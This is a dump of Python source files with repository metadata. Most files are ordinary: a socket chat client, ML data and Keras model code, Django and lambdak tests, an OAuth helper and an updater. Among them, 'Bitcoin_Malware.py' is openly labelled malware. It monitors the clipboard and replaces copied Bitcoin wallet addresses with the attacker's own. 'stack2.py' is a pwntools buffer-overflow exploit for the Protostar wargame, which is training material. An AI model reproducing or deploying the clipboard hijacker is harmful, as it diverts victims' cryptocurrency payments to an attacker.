students/K33402/laboratory_works/Ermakova_Anna/laboratory_work_1/task_4/client.py
ShubhamKunal/ITMO_ICT_WebDevelopment_2020-2021
bb91c91a56d21cec2b12ae4cc722eaa652a88420
[ "MIT" ]
48
2020-09-13T20:22:42.000Z
2021-04-30T11:13:30.000Z
students/K33402/laboratory_works/Ermakova_Anna/laboratory_work_1/task_4/client.py
ShubhamKunal/ITMO_ICT_WebDevelopment_2020-2021
bb91c91a56d21cec2b12ae4cc722eaa652a88420
[ "MIT" ]
69
2020-09-06T10:32:37.000Z
2021-11-28T18:13:17.000Z
import socket import threading import random def send_message(): try: while True: msg = input() sock.send(bytes(name + ": " + msg, 'utf-8')) if msg == '\leave chat': sock.close() break except Exception: pass finally: ...
20.410256
56
0.548995
88
796
4.920455
0.534091
0.050808
0.069284
0.08776
0
0
0
0
0
0
0
0.02809
0.329146
796
38
57
20.947368
0.782772
0
0
0.387097
0
0
0.065327
0
0
0
0
0
0
1
0.064516
false
0.064516
0.096774
0
0.16129
0.064516
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
a82c200cd117a48cc9a2ebacd146f50b56baabcf
23,587
py
Python
convolutional_attention/token_naming_data.py
s1530129650/convolutional-attention
8839da8146962879bb419a61253e7cf1b684fb22
[ "BSD-3-Clause" ]
128
2016-05-10T01:38:27.000Z
2022-02-04T07:14:12.000Z
convolutional_attention/token_naming_data.py
s1530129650/convolutional-attention
8839da8146962879bb419a61253e7cf1b684fb22
[ "BSD-3-Clause" ]
6
2016-07-19T09:27:47.000Z
2021-07-08T21:22:32.000Z
convolutional_attention/token_naming_data.py
s1530129650/convolutional-attention
8839da8146962879bb419a61253e7cf1b684fb22
[ "BSD-3-Clause" ]
36
2016-05-11T08:57:26.000Z
2021-07-07T02:37:07.000Z
from collections import defaultdict import heapq from itertools import chain, repeat from feature_dict import FeatureDictionary import json import numpy as np import scipy.sparse as sp class TokenCodeNamingData: SUBTOKEN_START = "%START%" SUBTOKEN_END = "%END%" NONE = "%NONE%" @staticmethod def _...
51.953744
143
0.644338
3,038
23,587
4.682357
0.087558
0.022777
0.020387
0.035571
0.68471
0.651107
0.624394
0.603866
0.578278
0.554517
0
0.008087
0.255607
23,587
453
144
52.068433
0.802085
0.061347
0
0.497222
0
0
0.003678
0
0
0
0
0.002208
0.061111
1
0.069444
false
0
0.019444
0.002778
0.166667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
a82c44a1683f511d5f99fbda3a6f12bd84f86c4c
550
py
Python
test_word.py
AsherSeiling/Ap-hug-Vocab-database
fbf29a225e81a5807b6ff4e06fbb24e88ce55a6a
[ "MIT" ]
null
null
null
test_word.py
AsherSeiling/Ap-hug-Vocab-database
fbf29a225e81a5807b6ff4e06fbb24e88ce55a6a
[ "MIT" ]
1
2021-02-27T06:12:07.000Z
2021-03-01T14:32:39.000Z
test_word.py
AsherSeiling/Ap-hug-Vocab-database
fbf29a225e81a5807b6ff4e06fbb24e88ce55a6a
[ "MIT" ]
1
2021-02-27T06:14:55.000Z
2021-02-27T06:14:55.000Z
words = open("words.txt", "r") words = [x.rstrip("\n") for x in words.readlines()] refwords = open("referencewords.txt", "r") refwords = [x.strip("\n") for x in refwords.readlines()] def find_word(word): retunrval = False if word.lower() in words: retunrval = True return retunrval words_needed = [] def main(): ...
20.37037
56
0.650909
81
550
4.358025
0.37037
0.05949
0.028329
0.03966
0
0
0
0
0
0
0
0
0.187273
550
27
57
20.37037
0.789709
0
0
0
0
0
0.061706
0
0
0
0
0
0
1
0.090909
false
0
0
0
0.136364
0.045455
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
a82e508670c379c3dbb7d2f2e849d1ec9ed6d7a8
2,736
py
Python
democrasite/users/tests/test_forms.py
mfosterw/cookiestocracy
6912e9e7c3006024d0fbee61dce5c48e63e9e231
[ "MIT" ]
null
null
null
democrasite/users/tests/test_forms.py
mfosterw/cookiestocracy
6912e9e7c3006024d0fbee61dce5c48e63e9e231
[ "MIT" ]
9
2021-07-18T17:16:42.000Z
2022-03-31T00:19:14.000Z
democrasite/users/tests/test_forms.py
mfosterw/cookiestocracy
6912e9e7c3006024d0fbee61dce5c48e63e9e231
[ "MIT" ]
null
null
null
# pylint: disable=too-few-public-methods,no-self-use from django.utils.crypto import get_random_string from django.utils.translation import gettext_lazy as _ from democrasite.users.forms import ( DisabledChangePasswordForm, DisabledResetPasswordForm, DisabledResetPasswordKeyForm, DisabledSetPasswordFor...
32.571429
87
0.623904
290
2,736
5.703448
0.341379
0.038694
0.036276
0.045345
0.346433
0.331923
0.316203
0.316203
0.316203
0.316203
0
0.012208
0.281433
2,736
83
88
32.963855
0.829095
0.143275
0
0.267857
0
0
0.13032
0
0
0
0
0
0.214286
1
0.089286
false
0.464286
0.071429
0
0.196429
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
a82ef552d3bf70dc77e897c13a1b0f9b584ffa9d
3,359
py
Python
src/keras_networks.py
RU-IIPL/2DLD_keras
8c291b6a652f54bd94cb3a5c8382d10ba42e5cbf
[ "MIT" ]
1
2021-05-24T08:00:29.000Z
2021-05-24T08:00:29.000Z
src/keras_networks.py
RU-IIPL/2DLD_keras
8c291b6a652f54bd94cb3a5c8382d10ba42e5cbf
[ "MIT" ]
null
null
null
src/keras_networks.py
RU-IIPL/2DLD_keras
8c291b6a652f54bd94cb3a5c8382d10ba42e5cbf
[ "MIT" ]
1
2021-09-29T03:43:46.000Z
2021-09-29T03:43:46.000Z
# -*- coding: utf-8 -*- """ @author: Terada """ from keras.models import Sequential, Model from keras.layers import Dense, MaxPooling2D, Flatten, Dropout from keras.layers import Conv2D, BatchNormalization, ZeroPadding2D, MaxPool2D from keras.layers import Input, Convolution2D, AveragePooling2D, merge, Reshape, Activat...
42.518987
122
0.677583
469
3,359
4.784648
0.181237
0.128342
0.068627
0.088235
0.665775
0.620321
0.566845
0.487077
0.4541
0.407754
0
0.072772
0.144984
3,359
78
123
43.064103
0.708565
0.036023
0
0.514706
0
0
0.041525
0
0
0
0
0
0
1
0.058824
false
0
0.073529
0
0.191176
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
a82fdc3cbf4660f5463187cd042910a00705a302
9,951
py
Python
lambdak_spec.py
yawaramin/lambdak
5038531f2939dfbbbf94ea859454efaf69bf6487
[ "MIT" ]
19
2015-01-13T23:36:23.000Z
2021-05-29T16:05:05.000Z
lambdak_spec.py
yawaramin/lambdak
5038531f2939dfbbbf94ea859454efaf69bf6487
[ "MIT" ]
1
2015-11-09T17:23:05.000Z
2015-11-09T18:48:26.000Z
lambdak_spec.py
yawaramin/lambdak
5038531f2939dfbbbf94ea859454efaf69bf6487
[ "MIT" ]
3
2016-03-26T15:57:36.000Z
2018-11-30T07:04:03.000Z
from contextlib import closing, contextmanager import StringIO as s import unittest as t from lambdak import * # A helper class to test attribute access. class A: pass # Helper functions for the tests. def inc(x): return x + 1 def double(x): return x * 2 class test_lambdak(t.TestCase): def test_init_k_x(self): ...
25.320611
162
0.633203
1,559
9,951
3.849262
0.127004
0.049992
0.041993
0.046659
0.443259
0.316614
0.263623
0.237627
0.203799
0.164639
0
0.013001
0.227012
9,951
392
163
25.385204
0.767161
0.007235
0
0.265993
0
0.010101
0.120709
0
0
0
0
0
0.185185
0
null
null
0.006734
0.023569
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
a830be9674eca4b0486b3f40d92cbb270322784c
2,327
py
Python
Bitcoin_Malware.py
Ismael-Safadi/Bitcoin-Wallet-address-spoofer
16b92d5538d10a2b14ee1fed441a25bdb33a2e67
[ "MIT" ]
7
2019-03-04T14:28:53.000Z
2022-01-31T12:11:53.000Z
Bitcoin_Malware.py
Ismael-Safadi/Bitcoin-Wallet-address-spoofer
16b92d5538d10a2b14ee1fed441a25bdb33a2e67
[ "MIT" ]
null
null
null
Bitcoin_Malware.py
Ismael-Safadi/Bitcoin-Wallet-address-spoofer
16b92d5538d10a2b14ee1fed441a25bdb33a2e67
[ "MIT" ]
4
2019-03-04T14:29:01.000Z
2022-01-31T12:11:40.000Z
# Coded By : Ismael Al-safadi from win32gui import GetWindowText, GetForegroundWindow from pyperclip import copy from re import findall from win32clipboard import OpenClipboard , GetClipboardData , CloseClipboard from time import sleep class BitcoinDroper: """ class for spoofing Bitcoin Wallet address...
31.026667
96
0.628277
277
2,327
5.108303
0.34657
0.055124
0.060071
0.018375
0.039576
0.039576
0
0
0
0
0
0.007932
0.29566
2,327
74
97
31.445946
0.8554
0.243661
0
0.212766
0
0
0.054434
0
0
0
0
0
0
1
0.148936
false
0
0.106383
0.021277
0.382979
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
a832641c2261a8791df173a07f00c6ea847b04f1
504
py
Python
Exploits/Protostar/stack/stack2.py
SkyBulk/OSCE
1749add01cfbc80b11055ea2fdbfdfdee1409a3c
[ "BSD-3-Clause" ]
80
2018-07-12T04:58:02.000Z
2022-03-18T11:31:49.000Z
Exploits/Protostar/stack/stack2.py
SunWare-shellcoder/OSCE-1
1749add01cfbc80b11055ea2fdbfdfdee1409a3c
[ "BSD-3-Clause" ]
null
null
null
Exploits/Protostar/stack/stack2.py
SunWare-shellcoder/OSCE-1
1749add01cfbc80b11055ea2fdbfdfdee1409a3c
[ "BSD-3-Clause" ]
43
2018-07-12T19:48:15.000Z
2021-11-01T13:16:25.000Z
#!/usr/bin/env python # $Id: stack2.py,v 1.0 2018/06/21 23:12:02 dhn Exp $ from pwn import * level = 2 host = "10.168.142.133" user = "user" chal = "stack%i" % level password = "user" binary = "/opt/protostar/bin/%s" % chal shell = ssh(host=host, user=user, password=password) padding = "A" * 64 addr = p32(0x0d0a0...
20.16
55
0.656746
81
504
4.08642
0.740741
0.048338
0
0
0
0
0
0
0
0
0
0.089623
0.15873
504
24
56
21
0.691038
0.140873
0
0
0
0
0.25058
0.048724
0
0
0.023202
0
0
1
0
false
0.125
0.0625
0
0.0625
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
a8347276bdea4347d1187329f50e22db158c90b3
5,096
py
Python
Stock_Programs/myOauth.py
timwroge/DeepPurple
3d6f3203938853ede654ef4f88b7451a1ba3999e
[ "Apache-2.0" ]
4
2020-02-13T18:57:41.000Z
2020-08-03T21:08:26.000Z
Stock_Programs/myOauth.py
timwroge/DeepPurple
3d6f3203938853ede654ef4f88b7451a1ba3999e
[ "Apache-2.0" ]
null
null
null
Stock_Programs/myOauth.py
timwroge/DeepPurple
3d6f3203938853ede654ef4f88b7451a1ba3999e
[ "Apache-2.0" ]
1
2021-06-14T13:42:39.000Z
2021-06-14T13:42:39.000Z
import urllib.parse, urllib.request,json import time import hmac, hashlib,random,base64 #yahoo stuff #client ID dj0yJmk9S3owYWNNcm1jS3VIJmQ9WVdrOU1HMUZiMHh5TjJNbWNHbzlNQS0tJnM9Y29uc3VtZXJzZWNyZXQmeD0xOQ-- #client secret ID fcde44eb1bf2a7ff474b9fd861a6fcf33be56d3f def setConsumerCreds(cons_key,cons_s...
41.770492
116
0.724882
518
5,096
6.978764
0.247104
0.032365
0.014385
0.026556
0.296819
0.260858
0.232089
0.167358
0.100692
0.080221
0
0.015684
0.161695
5,096
121
117
42.115702
0.830524
0.040424
0
0.12381
0
0
0.090145
0.012088
0
0
0
0
0
1
0.12381
false
0
0.028571
0.028571
0.238095
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
a8347a798c6edcafbe98def909244e3a366c1264
5,246
py
Python
IOController/src/UpdateManager.py
MicrosoftDX/liquidintel
8c3f840f88ca3515cc812078a620e2a845978177
[ "MIT" ]
9
2017-05-27T20:42:46.000Z
2020-11-12T21:03:28.000Z
IOController/src/UpdateManager.py
MicrosoftDX/liquidintel
8c3f840f88ca3515cc812078a620e2a845978177
[ "MIT" ]
30
2017-02-16T19:43:18.000Z
2018-01-17T21:17:01.000Z
IOController/src/UpdateManager.py
MicrosoftDX/liquidintel
8c3f840f88ca3515cc812078a620e2a845978177
[ "MIT" ]
6
2017-02-24T03:40:04.000Z
2020-11-22T20:29:11.000Z
import os, sys, logging, threading, tempfile, shutil, tarfile, inspect from ConfigParser import RawConfigParser import requests from DXLiquidIntelApi import DXLiquidIntelApi log = logging.getLogger(__name__) class UpdateManager: def __init__(self, liquidApi, packageType, checkUnpublished, packageCheckInterval, c...
51.940594
191
0.62276
510
5,246
6.319608
0.411765
0.014893
0.009308
0.008688
0.017375
0
0
0
0
0
0
0.002186
0.302326
5,246
100
192
52.46
0.878415
0.138582
0
0.052632
0
0.013158
0.130551
0
0
0
0
0
0
1
0.092105
false
0.013158
0.052632
0.026316
0.210526
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0